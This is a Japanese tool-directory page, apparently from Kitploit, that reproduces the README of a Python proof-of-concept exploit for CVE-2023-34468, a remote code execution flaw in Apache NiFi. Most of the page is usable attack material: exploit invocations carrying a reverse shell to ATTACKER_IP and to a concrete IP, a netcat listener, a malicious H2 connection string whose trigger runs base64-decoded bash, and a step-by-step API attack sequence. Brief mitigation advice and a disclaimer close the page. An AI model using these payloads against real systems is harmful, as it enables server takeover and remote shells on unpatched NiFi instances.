Skip to content
KitploitKITPLOIT
ツールブログ
提出
ツールブログ
提出

ハッキング、侵入テスト、サイバーセキュリティツールをあなたのセキュリティアーセナルに!

Kitploitはハッキング、サイバーセキュリティ、ペネトレーションテストのツールディレクトリです。最新のプロジェクトアップデートを見つけて、脆弱性の発見、システム分析、テストの自動化、セキュリティの強化を行いましょう。

··フィード·お問い合わせ·プライバシー·© 2026 Kitploit

ツールディレクトリ

カテゴリ

すべてのカテゴリを見る
Loading categories
CVE-2023-34468 — CVE-2023-34468 - Apache NiFi H2 RCE PoC | Kitploit
ツール/GitHubGitHub/jeanpt/cve-2023-34468
脆弱性分析エクスプロイトウェブアプリケーション悪用ペネトレーションテスト学習と教育ペイロード開発
GitHubjeanpt/cve-2023-34468

CVE-2023-34468

CVE-2023-34468 - Apache NiFi H2 RCE PoC

リポジトリを見る
154ヶ月前未レビュー

人気

すべて見る →

コミュニティで最も使われているツールを見つけましょう。

すべてのツールを探索

ツールコレクションを閲覧

すべてのツールを見る →
共有

CVE-2023-34468 エクスプロイト

GitHub stars GitHub license

概要

このリポジトリは、Apache NiFi バージョン 0.0.2 から 1.21.0 に存在する重大なリモートコード実行脆弱性(CVSS 9.8)である CVE-2023-34468 向けの Python ベースのエクスプロイトツールを提供します。この脆弱性により、認証済みユーザーが埋め込みトリガーを含む H2 データベース接続文字列を操作して、任意のコードを実行できます。

⚠️ 警告: 教育目的および許可されたテスト目的のみに使用してください。コンピュータシステムへの不正アクセスは違法です。

脆弱性の詳細

  • CVE ID: CVE-2023-34468
  • 影響を受けるバージョン: Apache NiFi 0.0.2–1.21.0
  • 影響: リモートコード実行 (RCE)
  • CVSS スコア: 9.8 (緊急)
  • 発見日: 2023年6月12日
  • 説明: DBCPConnectionPool および HikariCPConnectionPool コントローラサービスでは、H2 ドライバを使用した Database URL を設定でき、H2 の CREATE TRIGGER 機能を通じて任意の Java コード実行が可能になります。接続が初期化されると、埋め込まれた JavaScript コードが NiFi の権限で実行されます。

前提条件

  • Python 3.7+
  • requests ライブラリ
  • NiFi API へのネットワークアクセス(デフォルトポート 8080 または 8443)
  • 認証なしのターゲット NiFi インスタンス、または有効な認証情報
  • リバースシェル用のリスナー設定(例: nc -lnvp 5555)

クイックスタート

ツールをダウンロード

クローンとインストール

root@kitploit:~
git clone https://github.com/Jeanpt/CVE-2023-34468.git
cd CVE-2023-34468
pip install -r requirements.txt

認証なし NiFi(認証情報不要)

root@kitploit:~
# Start your listener
nc -lnvp 5555

# Run the exploit — auth is auto-detected, no flags needed for open instances
python3 exploit.py \
  -t http://nifi.target.com:8080 \
  -c "bash -i >& /dev/tcp/ATTACKER_IP/5555 0>&1" \
  -lh ATTACKER_IP \
  -lp 5555

認証あり NiFi(ユーザー名/パスワード)

root@kitploit:~
python3 exploit.py \
  -t https://nifi.target.com:8443 \
  -c "bash -i >& /dev/tcp/ATTACKER_IP/5555 0>&1" \
  -lh ATTACKER_IP \
  -lp 5555 \
  -u admin -p password123

認証あり NiFi(ベアラートークン)

root@kitploit:~
python3 exploit.py \
  -t https://nifi.target.com:8443 \
  -c "bash -i >& /dev/tcp/ATTACKER_IP/5555 0>&1" \
  -lh ATTACKER_IP \
  -lp 5555 \
  --token <your_bearer_token>

クリーンアップをスキップ(ターゲットにアーティファクトを残す)

root@kitploit:~
python3 exploit.py -t http://target:8080 -c "..." -lh ATTACKER_IP -lp 5555 --no-cleanup

全オプション

root@kitploit:~
python3 exploit.py --help
コマンド説明
-t, --targetターゲット NiFi インスタンスの URL(必須)
-c, --command実行するコマンド(必須)
-lh, --lhostコールバック用リスナーホスト(必須)
-lp, --lportコールバック用リスナーポート(必須)
-u, --usernameNiFi ユーザー名(認証ありインスタンス)
-p, --passwordNiFi パスワード(認証ありインスタンス)
--tokenベアラートークン(認証ありインスタンス)
--no-cleanupエクスプロイト後のクリーンアップをスキップ
--delayクリーンアップ前の待機秒数(デフォルト: 10)
--driver-pathH2 ドライバ jar のパスを上書き(デフォルトでは省略)

確認: リスナーでリバースシェル接続を確認してください。id を実行してコード実行を確認します。

仕組み(技術詳細)

攻撃フロー

  1. 偵察: /nifi-api/system-diagnostics で NiFi バージョンを特定
  2. DBCP サービスの作成: 悪意のある H2 接続文字列を /nifi-api/process-groups/root/controller-services に POST
  3. プロセッサの作成: ExecuteSQL プロセッサを同じプロセッサグループに POST
  4. プロセッサの設定: プロセッサを悪意のある DBCP サービスに関連付け
  5. サービスの有効化: /nifi-api/controller-services/{id}/run-status に state ENABLED で PUT
  6. RCE のトリガー: /nifi-api/processors/{id}/run-status に state RUNNING で PUT — H2 トリガーが接続時に発火

H2 ペイロード構造

root@kitploit:~
jdbc:h2:file:/tmp/{random_db}.db;TRACE_LEVEL_SYSTEM_OUT=0\;CREATE TRIGGER {random_name}
BEFORE SELECT ON INFORMATION_SCHEMA.TABLES AS $$//javascript
java.lang.Runtime.getRuntime().exec('bash -c {echo,BASE64_PAYLOAD}|{base64,-d}|{bash,-i}')
$$--=x

重要なポイント:

  • セミコロンをバックスラッシュでエスケープ: \;
  • JavaScript は BEFORE SELECT ON INFORMATION_SCHEMA.TABLES で発火(自動トリガー)
  • 特殊文字の問題を避けるためペイロードを Base64 エンコード
  • パディングの等号は H2 のパース問題を避けるためスペースに置き換え

ペイロード例

リバースシェル

root@kitploit:~
# Run exploit directly
python3 exploit.py -t http://target:8080 -c "bash -i >& /dev/tcp/10.10.16.46/5555 0>&1" -lh 10.10.16.46 -lp 5555

コマンド実行

root@kitploit:~
python3 exploit.py -t http://target:8080 -c "touch /tmp/pwned" -lh 127.0.0.1 -lp 5555

緩和策

  • 更新: Apache NiFi 1.22.0 以降にアップグレード
  • アクセス制御: ファイアウォール/WAF で NiFi API へのアクセスを制限
  • 認証: NiFi で認証を有効化し強制
  • モニタリング: 異常なコントローラサービス設定に対してアラートを発報
  • ネットワーク分離: NiFi を信頼できないネットワークから隔離

参考情報

  • NVD - CVE-2023-34468
  • Apache NiFi セキュリティアドバイザリ
  • NIFI-11653 - イシュートラッカー
  • Apache メーリングリストの議論

免責事項

このツールは、セキュリティ研究および許可されたテストのみを目的として提供されます。作者は、このエクスプロイトの誤用または損害について責任を負いません。必ず許可された環境でのみ責任を持ってテストしてください。

クレジット

  • 発見者: Matei "Mal" Badanoiu
  • Metasploit モジュール: h00die
  • Python POC: Jean

ライセンス

MIT License - 詳細は LICENSE ファイルを参照してください


セキュリティ研究および許可された侵入テスト用に構築されています。

トピック: apache-nifi h2-database rce exploit cve-2023-34468 python security-research